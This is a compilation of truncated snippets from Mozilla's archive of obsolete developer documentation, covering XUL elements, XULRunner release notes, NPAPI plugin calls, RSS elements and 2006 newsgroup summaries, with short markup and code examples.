wait-cursor - Archive of obsolete content
in order to revert to the normal cursor state call the method removeattribute("wait-cursor") when the process effectively has ended otherwise the wait cursor might never disappear.
close - Archive of obsolete content
example window.addeventlistener("close", function( event ) { // make the close button ineffective event.preventdefault(); }, false); ...
command - Archive of obsolete content
ArchiveMozillaXULEventscommand
example menuitem.oncommand = function() { console.log("the menu item has been activated"); }; ...
How to Quit a XUL Application - Archive of obsolete content
components.interfaces.nsiappstartup.eforcequit : components.interfaces.nsiappstartup.eattemptquit; appstartup.quit(quitseverity); } </script> calling this function if there is an uncaught exception, to force the application to quit: <script> try { dosomething(); } catch (e) { quit(true); } </script> the "quit" menuitem should typically prompt the user if there is unsaved data: <menuitem label="quit" oncommand="quit(false);"/> ...
addTabsProgressListener - Archive of obsolete content
the progress listener should be based on the nsiwebprogresslistener interface with an additional "browser" argument as the first argument of every method, which is the browser (not <tabbrowser> = gbrowser) where the event occurred.
appendItem - Archive of obsolete content
example <script language="javascript"> function additemstolist(){ var list = document.getelementbyid('mymenulist'); // add item with just the label list.appenditem('one'); // add item with label and value list.appenditem('two', 999); // select the first item list.selectedindex = 0; } </script> <button label="add items" oncommand="additemstolist()"/> <menulist id="mymenulist"> <menupopup/> </menulist> see also insertitemat() removeitemat() ...
itemCount - Archive of obsolete content
example var bucket = document.getelementbyid("attachmentbucket"); if(bucket.itemcount == 0) { dump("\n\n no attachments \n\n"); } else { dump("\n\n attachment exists \n\n"); } ...
error-icon - Archive of obsolete content
this will typically be a red "x" icon.
XML Assignments - Archive of obsolete content
here is an example: <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"> <assign var="?namelength" expr="string-length(@name)"/> <assign var="?siblings" expr="count(../*) - 1"/> </query> <action> <hbox uri="?" align="center"> <button label="?name"/> <label value="?gender"/> <label value="?namelength"/> <label value="?siblings"/> </...
Template Guide - Archive of obsolete content
lts building trees with templates building trees building hierarchical trees template modifications template builder interface template and tree listeners rdf modifications additional topics sorting results additional template attributes template logging xml namespaces alternative approaches javascript templates xuljsdatasource: a component for extensions, which bring a "javascript template syntax".
Complete - Archive of obsolete content
it supports firefox, thunderbird, sunbird and flock—these are referred to as "firefox etc." in the rest of this page.
Introduction - Archive of obsolete content
xul (pronounced "zool" and rhyming with "cool") was created to make development of the mozilla browser easier and faster.
Modifying the Default Skin - Archive of obsolete content
you can assign images to a button, checkbox and other elements by using the list-style-image property as in the following: checkbox { list-style-image: url("chrome://findfile/skin/images/check-off.jpg"); } checkbox[checked="true"] { list-style-image: url("chrome://findfile/skin/images/check-on.jpg"); } this code changes the image associated with a checkbox.
Scroll Bars - Archive of obsolete content
the syntax of a scroll bar is as follows: <scrollbar id="identifier" orient="horizontal" curpos="20" maxpos="100" increment="1" pageincrement="10"/> the attributes are as follows: id the unique identifer of the scroll bar orient this specifies the direction of the scroll bar.
Scrolling Menus - Archive of obsolete content
example - scrolling list of buttons the following example shows how to create a scrolling list of buttons (you will need to resize the window to see the arrow buttons): example 1 : source view <arrowscrollbox orient="vertical" flex="1"> <button label="red"/> <button label="blue"/> <button label="green"/> <button label="yellow"/> <button label="orange"/> <button label="silver"/> <button label="lavender"/> <button label="gold"/> <button label="turquoise"/> <button label="peach"/> <button label="maroon"/> <button label="black"/> </arrowscrollbox> if you try this example, it will first ope...
Widget Cheatsheet - Archive of obsolete content
menu <menu value="menu widget"> <menupopup> <menuitem value="foo" /> <menuitem value="shoo" /> <menu value="sub"> <menupopup> <menuitem value="subitem" /> </menupopup> </menu> </menupopup> </menu> <menulist value="menulist element"> <menupopup> <menuitem value="foo" /> <menuitem value="shoo" /> <menuitem value="boo" /> </menupopup> </menulist> <menubutton src="back.gif"> <menupopup> <menuitem value="foo" /> <menuitem value="shoo" /> <menuitem value="boo" /> </menupopup> </menubutton> ...
Writing Skinnable XUL and CSS - Archive of obsolete content
style="..." is prohibited in xul files without approval any usages of inline style are extremely dangerous, since they are overriding the included skin, and must be approved before their usage will be allowed.
XUL Changes for Firefox 1.5 - Archive of obsolete content
for instance <button icon="help"> will create a button with a help icon.
XUL FAQ - Archive of obsolete content
if you want to access elements inside <prefpane>, you should put script in the <prefpane> or write script into "onpaneload" of the <prefpane>.) note, that prefwindow only works in chrome xul.
assign - Archive of obsolete content
var type: string for the xul assign attribute, this is the variable to assign the value to; otherwise it's a reference to a template variable such as "?name".
autohide - Archive of obsolete content
this only has an effect on windows and needs to be combined with type="menubar" and a menubar element.
box - Archive of obsolete content
ArchiveMozillaXULbox
examples <box orient="horizontal"> <label value="zero"/> <box orient="vertical"> <label value="one"/> <label value="two"/> </box> <box orient="horizontal"> <label value="three"/> <label value="four"/> </box> </box> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, data...
browser - Archive of obsolete content
documentcharsetinfo, homepage, markupdocumentviewer, messagemanager, preferences, securityui, sessionhistory, webbrowserfind, webnavigation, webprogress methods addprogresslistener, goback, goforward, gohome, gotoindex, loaduri, loaduriwithflags, reload, reloadwithflags, removeprogresslistener, stop, swapdocshells examples <!-- shows mozilla homepage inside a groupbox --> <groupbox flex="1"> <caption label="mozilla homepage"/> <browser type="content" src="http://www.mozilla.org" flex="1"/> </groupbox> attributes autocompleteenabled type: boolean set to true to enable autocomplete of fields.
commandset - Archive of obsolete content
attributes commandupdater, events, oncommandupdate, targets example <commandset> <command id="cmd_open" oncommand="alert('open!');"/> <command id="cmd_help" oncommand="alert('help!');"/> </commandset> attributes commandupdater type: boolean if true, the commandset is used for updating commands.
deck - Archive of obsolete content
ArchiveMozillaXULdeck
attributes selectedindex properties selectedindex, selectedpanel examples <deck selectedindex="2"> <description value="this is the first page"/> <button label="this is the second page"/> <box> <description value="this is the third page"/> <button label="this is also the third page"/> </box> </deck> attributes selectedindex type: integer gets and sets the index of the currently selected panel.
dialogheader - Archive of obsolete content
attributes crop, description, title examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <dialogheader title="my dialog" description="example dialog"/> <!-- other widgets --> </dialog> attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by ...
groupbox - Archive of obsolete content
properties accessibletype examples <groupbox> <caption label="settings"/> <radiogroup> <radio label="black and white"/> <radio label="colour"/> </radiogroup> <checkbox label="enabled"/> </groupbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, inse...
hbox - Archive of obsolete content
ArchiveMozillaXULhbox
example <!-- two button on the right --> <hbox> <spacer flex="1"/> <button label="connect"/> <button label="ping"/> </hbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, ori...
image - Archive of obsolete content
ArchiveMozillaXULimage
this will typically be a red "x" icon.
keyset - Archive of obsolete content
attributes disabled examples <keyset> <key id="sample-key" modifiers="shift" key="r"/> </keyset> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, so...
listcell - Archive of obsolete content
tips if you need to right-align a cell's contents, you can do so like this: cell = document.createelement("listcell"); cell.setattribute("label", "this is the cell's label"); cell.setattribute("style", "text-align:right"); related elements listbox, listcol, listcols, listhead, listheader, listitem ...
listcol - Archive of obsolete content
examples example <!-- a two column listbox with one column flexible --> <listbox> <listhead> <listheader label="first"/> <listheader label="last"/> </listhead> <listcols> <listcol flex="1"/> <listcol/> </listcols> <listitem> <listcell label="buck"/> <listcell label="rogers"/> </listitem> <listitem> <listcell label="john"/> <listcell label="painter"/> </listitem> </listbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, dataso...
listcols - Archive of obsolete content
example <!-- creates a two column listbox --> <listbox> <listcols> <listcol flex="1"/> <listcol flex="1"/> </listcols> <listitem> <listcell label="buck"/> <listcell label="rogers"/> </listitem> <listitem> <listcell label="john"/> <listcell label="painter"/> </listitem> </listbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, context...
listheader - Archive of obsolete content
attributes disabled properties acesssibletype examples <listbox> <listhead> <listheader label="name"/> <listheader label="occupation"/> </listhead> <listitem> <listcell label="george"/> <listcell label="house painter"/> </listitem> <listitem> <listcell label="mary ellen"/> <listcell label="candle maker"/> </listitem> <listitem> <listcell label="roger"/> <listcell label="swashbuckler"/> </listitem> </listbox> attributes disabled type: boolean indicates whether the element is disabled or not.
popupset - Archive of obsolete content
examples <popupset> <menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </popupset> <label value="right click for popup" context="clipmenu"/> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxh...
preferences - Archive of obsolete content
examples <preferences> <preference id="pref_one" name="extensions.myextension.one" type="bool"/> <preference id="pref_two" name="extensions.myextension.two" type="string"/> ...
script - Archive of obsolete content
attributes src, type examples <script src="test.js"/> <script src="http://example.com/js/test.js"/> <script> function foo(){ // code } </script> attributes src type: uri the uri of the script.
scrollbar - Archive of obsolete content
attributes curpos, increment, maxpos, pageincrement examples <scrollbar curpos="5" maxpos="50"/> attributes curpos type: integer the current position of the scrollbar, which ranges from 0 to the value of the maxpos attribute.
separator - Archive of obsolete content
attributes orient style classes groove, groove-thin, thin examples <separator class="groove-thin"/> attributes orient type: one of the values below used to specify whether the separator is a horizontal or vertical separator.
spacer - Archive of obsolete content
examples <box> <button label="left"/> <spacer flex="1"/> <button label="right"/> </box> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethroug...
statusbar - Archive of obsolete content
properties accessibletype examples <statusbar> <statusbarpanel label="left panel"/> <spacer flex="1"/> <progressmeter mode="determined" value="82"/> <statusbarpanel label="right panel"/> </statusbar> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insert...
<statusbarpanel> - Archive of obsolete content
attributes crop, image, label properties image, label style classes statusbarpanel-iconic, statusbarpanel-iconic-text, statusbarpanel-menu-iconic examples <statusbar> <statusbarpanel label="left panel"/> <spacer flex="1"/> <progressmeter mode="determined" value="82"/> <statusbarpanel label="right panel"/> </statusbar> attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute.
stringbundle - Archive of obsolete content
the "src" attribute accepts only absolute chrome:// urls (see bugs 133698, 26291) attributes src properties applocale , src, stringbundle, strings methods getformattedstring, getstring examples (example needed) attributes src type: uri the uri of the property file that contains the localized strings.
tabbox - Archive of obsolete content
attributes eventnode, handlectrlpageupdown, handlectrltab properties accessibletype, eventnode, handlectrlpageupdown, handlectrltab, selectedindex, selectedpanel, selectedtab, tabs, tabpanels examples <tabbox id="mytablist" selectedindex="2"> <tabs> <tab label="a first tab"/> <tab label="second tab"/> <tab label="another tab"/> <tab label="last tab"/> </tabs> <tabpanels> <tabpanel><!-- tabpanel first elements go here --></tabpanel> <tabpanel><!-- tabpanel second elements go here --></tabpanel> <tabpanel><button label="click me"/></tabpanel> <tabpanel><!-- tabpanel four...
toolbarpalette - Archive of obsolete content
examples <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="toolbarpalette-button" class="toolbarbutton-class" label="&mylabel;" tooltiptext="&mytiptext;" oncommand="somefunction()"/> </toolbarpalette> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, con...
toolbarseparator - Archive of obsolete content
properties accessibletype examples <toolbox> <toolbar> <toolbarbutton label="button 1"/> <toolbarseparator /> <toolbarbutton label="button 2"/> </toolbar> </toolbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, obs...
treeitem - Archive of obsolete content
label tipo: string (concatenación de caracteres) para un árbol tree con columnas simples, la etiqueta puede ser colocada directamnete sobre el elemeto "treeitem" sin la necesidad de una fila "row" y un elemento "treeitem" dentro.
vbox - Archive of obsolete content
ArchiveMozillaXULvbox
example <!-- two labels at bottom --> <vbox> <spacer flex="1"/> <label value="one"/> <label value="two"/> </vbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack,...
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
windows run the following command from the start menu -> run or from a command prompt: "c:\program files\mozilla xulrunner\1.8.0.1\xulrunner\xulrunner.exe" --install-app "c:\documents and settings\user\desktop\myapplication.xpi" the application will be installed to c:\program files\vendorname\applicationname mac os x run the following command in a command prompt: /library/frameworks/xul.framework/xulrunner-bin --install-app ~/desktop/myapplication.xpi the application will be instal...
XULRunner 1.9.1 Release Notes - Archive of obsolete content
windows run the following command from the start menu -> run or from a command prompt: "c:\program files\mozilla xulrunner\1.9.1\xulrunner\xulrunner.exe" --install-app "c:\documents and settings\user\desktop\myapplication.xpi" the application will be installed to c:\program files\vendorname\applicationname mac os x run the following command in a command prompt: /library/frameworks/xul.framework/xulrunner-bin --install-app ~/desktop/myapplication.xpi the application will be installe...
XULRunner 1.9.2 Release Notes - Archive of obsolete content
windows run the following command from the start menu -> run or from a command prompt: "c:\program files\mozilla xulrunner\1.9.2\xulrunner\xulrunner.exe" --install-app "c:\documents and settings\user\desktop\myapplication.xpi" the application will be installed to c:\program files\vendorname\applicationname mac os x run the following command in a command prompt: /library/frameworks/xul.framework/xulrunner-bin --install-app ~/desktop/myapplication.xpi the application will be installe...
XULRunner 1.9 Release Notes - Archive of obsolete content
windows run the following command from the start menu -> run or from a command prompt: "c:\program files\mozilla xulrunner\1.9\xulrunner\xulrunner.exe" --install-app "c:\documents and settings\user\desktop\myapplication.xpi" the application will be installed to c:\program files\vendorname\applicationname mac os x run the following command in a command prompt: /library/frameworks/xul.framework/xulrunner-bin --install-app ~/desktop/myapplication.xpi the application will be insta...
XULRunner 2.0 Release Notes - Archive of obsolete content
windows run the following command from the start menu -> run or from a command prompt: "c:\program files\mozilla xulrunner\2.0\xulrunner\xulrunner.exe" --install-app "c:\documents and settings\user\desktop\myapplication.xpi" the application will be installed to c:\program files\vendorname\applicationname mac os x run the following command in a command prompt: /library/frameworks/xul.framework/xulrunner-bin --install-app ~/desktop/myapplication.xpi the application will be installed ...
Creating a Windows Inno Setup installer for XULRunner applications - Archive of obsolete content
in; flags: ignoreversion recursesubdirs createallsubdirs source: c:\develop\xulrunnerinstaller\myapp\defaults\*; excludes: .svn; destdir: {app}\defaults; components: main; flags: ignoreversion recursesubdirs createallsubdirs source: c:\develop\xulrunnerinstaller\myapp\xulrunner\*; destdir: {app}\xulrunner; components: runtime; flags: ignoreversion recursesubdirs createallsubdirs ; note: don't use "flags: ignoreversion" on any shared system files [icons] name: {group}\my app; filename: {app}\myapp.exe name: {group}\{cm:uninstallprogram,xul explorer}; filename: {uninstallexe} name: {userdesktop}\my app; filename: {app}\myapp.exe; tasks: desktopicon name: {userappdata}\microsoft\internet explorer\quick launch\my app; filename: {app}\myapp.exe; tasks: quicklaunchicon [run] filename: {app}\mya...
XULRunner FAQ - Archive of obsolete content
you can use xulrunner to make a browser (mybrowser example or firefox), but there is no such thing as "the xulrunner browser".
Make your xulrunner app match the system locale - Archive of obsolete content
from xpcom import components ps_cls = components.classes["@mozilla.org/preferences-service;1"] ps = ps_cls.getservice(components.interfaces.nsiprefservice) branch = ps.getbranch("general.useragent.") branch.setcharpref("locale", lang) i also set the language environment variable to match the system locale so that python's gettext functionality will work (it pulls straight from language instead of using setlocale): os.environ["language"] = lang ...
Specifying Startup Chrome Window - Archive of obsolete content
its contents are: pref("toolkit.defaultchromeuri", "chrome://xulmine/content/xulmine.xul"); the toolkit.defaultchromeuri preference specifies that the xul window at chrome://xulmine/content/xulmine.xul is the main application window.
What XULRunner Provides - Archive of obsolete content
te) find toolbar helper app dialog/ui security ui (maintenance of ssl keychains, etc) embedding apis the following embedding apis are provided by xulrunner: cross-platform embedding (xre_initembedding) javaxpcom embedding gtkmozembed (linux only) activex control (windows only) (not yet complete) obsolete since gecko 7.0 nsview-based-widget (mac os x only) (not yet complete) the "maybe" list the following features have been discussed and may be included if developer time permits and code size is controlled: ldap support spellchecking support (with or without dictionaries provided) see bug 285977 core support for profile roaming (with application-specific extensibility) pyxpcom embedding (not yet complete) - but it does work, if you compile a custom build that incl...
XUL Application Packaging - Archive of obsolete content
they can be installed to xulrunner with a command line flag "--install-app" if xulrunner is registered on the system.
toolkit.defaultChromeFeatures - Archive of obsolete content
type: string specified by: default prefs of xulrunner applications default: "chrome,dialog=no,all" example: pref("toolkit.defaultchromefeatures", "chrome,resizable=no,dialog=no"); the toolkit.defaultchromefeatures preference allows simple xulrunner-based applications to specify what features are passed to window.open() when the main application window is opened.
toolkit.defaultChromeURI - Archive of obsolete content
type: string specified by: default prefs of xulrunner applications default: none example: pref("toolkit.defaultchromeuri", "chrome://myapp/content/"); the toolkit.defaultchromeuri preference allows simple xulrunner-based applications to open a new window when the application is launched.
application/http-index-format specification - Archive of obsolete content
example "rw-" means read and write permission, but not execute.
calICalendarViewController - Archive of obsolete content
or_no_interface; } return this; }, createnewevent: function (acalendar, astarttime, aendtime) { // if we're given both times, skip the dialog if (astarttime && aendtime && !astarttime.isdate && !aendtime.isdate) { var event = createevent(); event.startdate = astarttime; event.enddate = aendtime; event.title = "new event"; acalendar.additem(event, null); } else if (astarttime && astarttime.isdate) { var event = createevent(); event.startdate = astarttime; acalendar.additem(event, null); } else { createeventwithdialog(acalendar, astarttime, aendtime); } }, modifyoccurrence: function (aoccurrence, anewstarttime, an...
Mozprofile - Archive of obsolete content
example: from mozprofile import firefoxprofile # create new profile to pass to mozmill/mozrunner profile = firefoxprofile(addons=["adblock.xpi"]) setting preferences preferences can be set in several ways: using the api: you can pass preferences in to the profile class's constructor: obj = firefoxprofile(preferences=[("accessibility.typeaheadfind.flashbar", 0)]) using a json blob file: mozprofile --preferences myprefs.json using a .ini file: mozprofile --preferences myprefs.ini via the command line: mozprofile --pref ke...
Mozilla.dev.apps.firefox-2006-10-06 - Archive of obsolete content
engineering student project - industry coach paul betts from ohio state university is looking for someone from mozilla to be his "industry coach" for engineering 494 - how great ideas turn into great products.
2006-11-22 - Archive of obsolete content
new mailing list for nvda steve lee was pleased to announce that the mozilla foundation has approved a grant spearheaded by himself and aaron leventhal for "improved switch access to firefox".
2006-10-06 - Archive of obsolete content
engineering student project - industry coach paul betts from ohio state university is looking for someone from mozilla to be his "industry coach" for engineering 494 - how great ideas turn into great products.
2006-11-24 - Archive of obsolete content
a user questions if there is something broken in a nightly build since the user keeps getting this error from the trunk: "firefox.exe - application error: the application failed to initialize properly." removal of false positives in firefox 2 phishing a user inquires how to remove false positives from the firefox phising filters.
2006-10-06 - Archive of obsolete content
peter lairo requested someone who are knowledgeable in w3c standards to confirm if the use of <blockquote type="cite"> is valid w3c code.
2006-10-20 - Archive of obsolete content
stefan göppert suspect thunderbird inserts a wrong char("") in the bcc-field and want to confirm this issue.
2006-10-27 - Archive of obsolete content
discussions effect of eudora/thunderbird re-write joes is voicing a concern about the recent announcement regarding the eudora/thunderbird rewrite: "is thunderbird destined to become a hybrid of the existing code and eudora?".
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.builds - september 30th to october 6th 2006 tb mozilla_1_8_branch build problem on mac os x (10.4.7, universal build) ludwig hügelschäfer stated that he has been encountering an error when he executes a "make export" operation on thunderbird (part of the mozilla_1_8_branch) since september 15th.
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.builds - october 28th to november 3rd 2006 no such file or directory (build problem on winxp) november 2nd: kenoa complained that when he is compiling using cygwin on win32 he gets the following error no such file or directory1: /cygdrive/c/mozilla/mail/config/mozconfig client.mk:339: /cygdrive/c/mozilla/.mozconfig.mk: no such file or directory he claims that the file ".mozconfig" exists in /cygdrive/c/mozilla/mail/config/mozconfig the disable-crypto cause problem originally posted on november 2nd: gxk is building minimo using the code base from sept.
2006-11-24 - Archive of obsolete content
live titles there seems to be a few locales that use "summary" or a translation thereof instead of "live titles" to name the ui part of microsummaries.
2006-10-06 - Archive of obsolete content
preed followed up and said that the checker was run and "build is go for launch".
2006-11-10 - Archive of obsolete content
announcments mike connor announced new 'driving' bugs "we have added a pair of drivers-only flags...o track bugs that are not strictly blockers, but are wanted as soon as possible" benjamin smedberg announced new rules for patches to toolkit from now on unit test must be provided with all patches.
2006-09-29 - Archive of obsolete content
then use xulrunner -install-app to "unpack" the xul app into the mac structure.
2006-11-17 - Archive of obsolete content
boaz discuses the evolution of web browsers towards a more "application mode" whereas a web browser is loaded for the sole purpose of running a given website.
mozilla-dev-platform - Archive of obsolete content
about newsgroup summary for mozilla.dev.platform (google groups link) is for people working on the mozilla application framework ("mozilla-the-platform").
2006-10-20 - Archive of obsolete content
there are a few concerns with the software updates, and a decision is required on this before a "go" for rc3 release can be given.
2006-10-27 - Archive of obsolete content
when the special homepage comes up after updating firefox, the "go to your homepage" button doesn't work when multipliable tabs are set as homepage.
2006-10-20 - Archive of obsolete content
--------------010306060708080008030904 content-type: audio/mpeg; name="eternals - babalus's wedding dayfinal.mp3" content-transfer-encoding: base64 content-id: <part1.00030607.05030...@gmail.com> content-disposition: inline; filename="eternals - babalus's wedding dayfinal.mp3" he wonders why this is.
2006-11-24 - Archive of obsolete content
mozilla backing off from "extended validation"?
2006-12-01 - Archive of obsolete content
peter wilson's reply was to add a method that does the deleting with a native implementation that releases the resources held by the object as seen in this database interface: var mydbase = new pgsqlconnection; mydbase.connect("database"); mydbase.exec("select * from mytable where ..."); // use the result data - (native implementation function) mydbase.close() spidermonkey for server side inquiry about why javascript hasn't caught on for general server-side scripting.
2006-11-17 - Archive of obsolete content
discussions xpidl crashes imycomp.h problems: "xpidl.exe has encountered a problem and needs to close" meetings none during this week.
2006-11-24 - Archive of obsolete content
com interface tutorals and references related to extension development tutorials on developing extensions which use the third party libraries for firefox references to mozilla api exposed javascript component + xmldocument not accessible a discussion on error: uncaught exception: permission denied to get property xmldocument.textcontent creating xpcom components a good discussion about "components.classes[cid] has no properties" error firefox http explanation about how firefox handles the http aspect meetings none during this week.
2006-10-20 - Archive of obsolete content
problem with creating / updating / exporting events how to add/update events in "home" calendar meetings planning the next calendar release meet regarding the views of next calendar release.
2006-11-10 - Archive of obsolete content
discussions hunting down the "sunbird fails to start" bug -- please help discussion about a crash when starting sunbird 0.2.
External resources for plugin creation - Archive of obsolete content
project: qtbrowserplugin project home page description (from the home page): the qtbrowserplugin solution makes it easy to write browser plugins that can be used in mozilla firefox, safari, opera, google chrome, qtwebkit and any other web browser that supports the "netscape plugin api", npapi articles, information, and tutorials npapi has been around a very long time, and there have been many attempts to distill down useful information on creating them: colonelpanic.net building a firefox plugin - part one: discusses the difference between npapi and npruntime and summarizes the basic apis needed to create a plugin building a firefox plugin - part two: dis...
NPN_PostURL - Archive of obsolete content
the file-type url prefix "file://" is optional.
NPP_Write - Archive of obsolete content
(remark: hence the name "npp_write" is misleading - just think of:"data_arrived") syntax #include <npapi.h> int32 npp_write(npp instance, npstream* stream, int32 offset, int32 len, void* buf); parameters the function has the following parameters: instance pointer to the current plug-in instance.
NPAPI plugin reference - Archive of obsolete content
(remark: hence the name "npp_write" is misleading - just think of:"data_arrived") npp_writeready determines maximum number of bytes that the plug-in can consume.
Shipping a plugin as a Toolkit bundle - Archive of obsolete content
for a plugin the manifest only needs to be very simple: <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>mypluginid@myplugin.com</em:id> <em:name>my plugin</em:name> <em:version>1.0</em:version> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>1.5</em:minve...
Why Well-Formed Web RSS Module is Popular - Syndicating Your Comments - Archive of obsolete content
an example using the most popular element of the well-formed web rss module is shown below: <?xml version="1.0"> <rss version="2.0" xmlns:wfw="http://wellformedweb.org/commentapi/" > <channel> <title>example</title> <description>an rss example with wfw</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>i like root beer</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:article:54321</guid> <pubdat...
Getting Started - Archive of obsolete content
how to use this tutorial although each page in this tutorial has been written so that it can act as a "standalone" tutorial, it does assume you already possess the knowledge of the information taught in previous pages of this tutorial.
Atomic RSS - Archive of obsolete content
ArchiveRSSModuleAtom
"getting started" box, if there is no "getting started" article yet written, should be populated with another feature article or tutorial, should one exist.
Content - Archive of obsolete content
"getting started" box, if there is no "getting started" article yet written, should be populated with another feature article or tutorial, should one exist.
0.90 - Archive of obsolete content
ArchiveRSSVersion0.90
examples rss 0.90 looked something like this: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://my.netscape.com/rdf/simple/0.9/" > <channel> <title>mozilla dot org</title> <link>http://www.mozilla.org</link> <description>the mozilla organization web site</description> </channel> <image> <title>mozilla</title> ...
Version - Archive of obsolete content
note: rss 0.93 and rss 0.94 were only ever released as "drafts" and never became "final" and thus were not meant to actually be used.
Element - Archive of obsolete content
r> (rss hour element) i <image> (rss image element) <item> (rss item element) j k l <language> (rss language element) <lastbuilddate> (rss last build date element) <link> (rss link element) m <managingeditor> (rss managing editor element) n <name> (rss name element) o p <pubdate> (rss published date element) q r <rating> (rss rating element) <rss> (rss's root "rss" element) s <skipdays> (rss skip days element) <skiphours> (rss skip hours element) <source> (rss source element) t <textinput> (rss text input element) <title> (rss title element) <ttl> (rss ttl element) u <url> (rss url element) v w <webmaster> (rss web master element) <width> (rss width element) x y z ...
NSPR Release Engineering Guide - Archive of obsolete content
copy /share/builds/components/nspr20/vx.y.z/* to /share/systems/mozilla/pub/nspr/vx.y.z/ original document information author: larryh@netscape.com last updated date: september 20, 2000 1 copying files to /share/builds/components requires that one be logged on to a machine named "smithers" as user "svbld".
Security - Archive of obsolete content
for an overview of ssl, see "introduction to ssl." for an overview of encryption and decryption, see "encryption and decryption." information on digital signatures is available from "digital signatures." introduction to sslthis document introduces the secure sockets layer (ssl) protocol.
Table Reflow Internals - Archive of obsolete content
it may need to "pull up" children from a continuation.
install.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "install.rdf": <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>{themes_uuid}</em:id> <em:version>themes_version</em:version> <!-- target application this extension can install into, with minimum and maximum supported versions.
Theme changes in Firefox 4 - Archive of obsolete content
thus, it includes this rule in browser.css: #nav-bar { counter-reset: smallicons; } to use large icons for add-on buttons in the bookmarks toolbar when the related user preference is set: #navigator-toolbox[iconsize="large"] > #personaltoolbar { counter-reset: largeicons; } to use large icons everywhere, including the menu bar, regardless of the user preference: #navigator-toolbox > toolbar, #addon-bar { counter-reset: largeicons; } creating a theme that works for firefox 4 on mac os x create a new directory (for example, my_theme).
Browser Feature Detection - Archive of obsolete content
; ++level; } return math.floor( (100 * level) / features.length ); } function generatereport(object, featureset, description) { var i; var features = _features[featureset]; document.write('<p><b>' + featureset + ' support for properties/methods in ' + description + ', percentage of names defined = ' + supports(object, featureset) + '%<\/b><\/p>'); document.write('<table cellspacing="0">'); for (i = 0; i < features.length; i++) { if (features[i].supported) document.write('<tr><td>' + features[i].name + '<\/td><td>' + features[i].supported + '<\/td><\/tr>'); else document.write('<tr><td>' + features[i].name + '<\/td><td style="background-color:red">' + features[i].supported + '<\/td><\/tr>'); } document.write('<\/table>'); } var oldonerror = window...
-moz-border-bottom-colors - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> example <div id="example">example</div> #example { padding: 20px; background-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c...
-moz-border-left-colors - Archive of obsolete content
